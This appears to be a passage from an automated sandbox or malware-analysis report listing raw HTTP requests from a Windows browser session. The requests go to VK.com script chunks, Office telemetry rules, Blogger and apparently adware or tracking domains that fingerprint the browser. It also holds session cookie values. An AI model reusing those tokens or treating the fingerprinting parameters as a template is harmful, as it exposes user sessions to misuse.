Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/063cb66e.538c1d19.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/react.6a15a5cc.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A553608590.030081%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/state-management.e532e667.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A553608590.030081%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/vkui.49fc589a.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A553608590.030081%7D
Source: global traffic	HTTP traffic detected: GET /3bT/27mJf/defaultSkin.min.js HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "6706a6aa-df7c"If-Modified-Since: Wed, 09 Oct 2024 15:52:10 GMT
Source: global traffic	HTTP traffic detected: GET /?rb=neACEDQSevHuQvvqBR_tXZHUUNHc0lnn5_AzyMZ-R0a1OYBb_EnBm2kUzSvGoSk63C4I0VoetJWxDjoFXrvKvqZleJN0f4bHueFRjv_iToeHKcTSOm14PVSmjuiO9B-hLEdBGlpjANPuowAbadxfk53cg6p2qe1T1uMu9YZN3B3w9aMT1RkG5gAGkCy_IwOwwFiRV2y2ANb054pOyXdP1OYrf8gB3B7Eif6T9GtSeNCG-WioMqmYkbQrcbc_784qxwT5ddjyZqEfh68Z3t8KTCP7mMMtgoXPbacBojMOzf-1v4j9-LWpBUP6EE4An8QE9YtQpsyeIeVtgFveXmEBVuT_pFQ%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=-1&wiw=-1&ww=-1&wh=-1&sah=984&wx=0&wy=0&cw=0&wfc=39&pl=https%3A%2F%2Fsqsq2938.blogspot.com%2F2024%2F10%2F6_11.html&drf=https%3A%2F%2Fwww.mycimalive.com%2F&np=1&pt=0&nb=1&ng=1&ix=1&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&wasm=1&bs=9c2c609b-6e91-4b5a-b233-32b0ac0ca9bf&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1Host: oughoaghushouru.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://sqsq2938.blogspot.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945604
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/defad8f6.8d30344a.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945597
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/architecture-mobx.b95ff7c7.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A553608590.030081%7D
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/audioplayer-lib.bc13de6d.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A553608590.030081%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/85a7110a.b38696f0.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/5aea220e.dc3e62a1.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/c85c1923.355d4461.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/63bd1145.7f0cc649.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/7c60942d.b623a141.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/shopify.0360ab85.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/core_spa.4fde94d6.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/dfd7f843.01660fd3.js HTTP/1.1Host: st6-20.vk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://vk.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /event HTTP/1.1Host: phicmune.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/b867618a.87f1527d.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /?rb=neACEDQSevHuQvvqBR_tXZHUUNHc0lnn5_AzyMZ-R0a1OYBb_EnBm2kUzSvGoSk63C4I0VoetJWxDjoFXrvKvqZleJN0f4bHueFRjv_iToeHKcTSOm14PVSmjuiO9B-hLEdBGlpjANPuowAbadxfk53cg6p2qe1T1uMu9YZN3B3w9aMT1RkG5gAGkCy_IwOwwFiRV2y2ANb054pOyXdP1OYrf8gB3B7Eif6T9GtSeNCG-WioMqmYkbQrcbc_784qxwT5ddjyZqEfh68Z3t8KTCP7mMMtgoXPbacBojMOzf-1v4j9-LWpBUP6EE4An8QE9YtQpsyeIeVtgFveXmEBVuT_pFQ%3D&request_ab2=0&zoneid=8079706&js_build=iclick-v1.976.0&jsp=1&fs=0&cf=0&sw=1280&sh=1024&wih=-1&wiw=-1&ww=-1&wh=-1&sah=984&wx=0&wy=0&cw=0&wfc=39&pl=https%3A%2F%2Fsqsq2938.blogspot.com%2F2024%2F10%2F6_11.html&drf=https%3A%2F%2Fwww.mycimalive.com%2F&np=1&pt=0&nb=1&ng=1&ix=1&nw=1&tb=false&btz=America%2FNew_York&bto=240&tt=3&wgl=ANGLE%20(Google%2C%20Vulkan%201.3.0%20(SwiftShader%20Device%20(Subzero)%20(0x0000C0DE))%2C%20SwiftShader%20driver)&js_build=iclick-v1.976.0&navlng=en-US&vsbl=false&pnt=0&pnrc=0&bml=1&bmi=1&wasm=1&bs=9c2c609b-6e91-4b5a-b233-32b0ac0ca9bf&userId=0080f52b8e41436deb287525cd342cae&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134&m=link HTTP/1.1Host: oughoaghushouru.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OAID=0080f52b8e41436deb287525cd342cae; captcha=player; syncedCookie=true; oaidts=1728945605
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/ddeb46d0.004a9a62.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; remixsts=%7B%22data%22%3A%5B%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22video_ext%22%2C%22web%22%5D%2C%5B1728945603%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%2C%5B1728945604%2C%22entries_requests%22%2C1%2C%22polyfills%22%2C%22widgets%22%5D%5D%2C%22uniqueId%22%3A604582984.5070724%7D
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6002409460088195649&zx=dcf111cd-6b9a-4037-a79c-a07ee24c9a83 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sqsq2938.blogspot.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dist/web/chunks/063cb66e.538c1d19.js HTTP/1.1Host: st6-20.vk.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: remixlang=3; remixstlid=9054814020201468013_7z2YP8QEGOiJL4OzVVDZ2HxIYgNFuvcpnaZF5wktNnT; remixstid=1013204718_MZorVowwHaFPEyC7mkuYUWmg2RGwWE99zvRl5eq74mw; 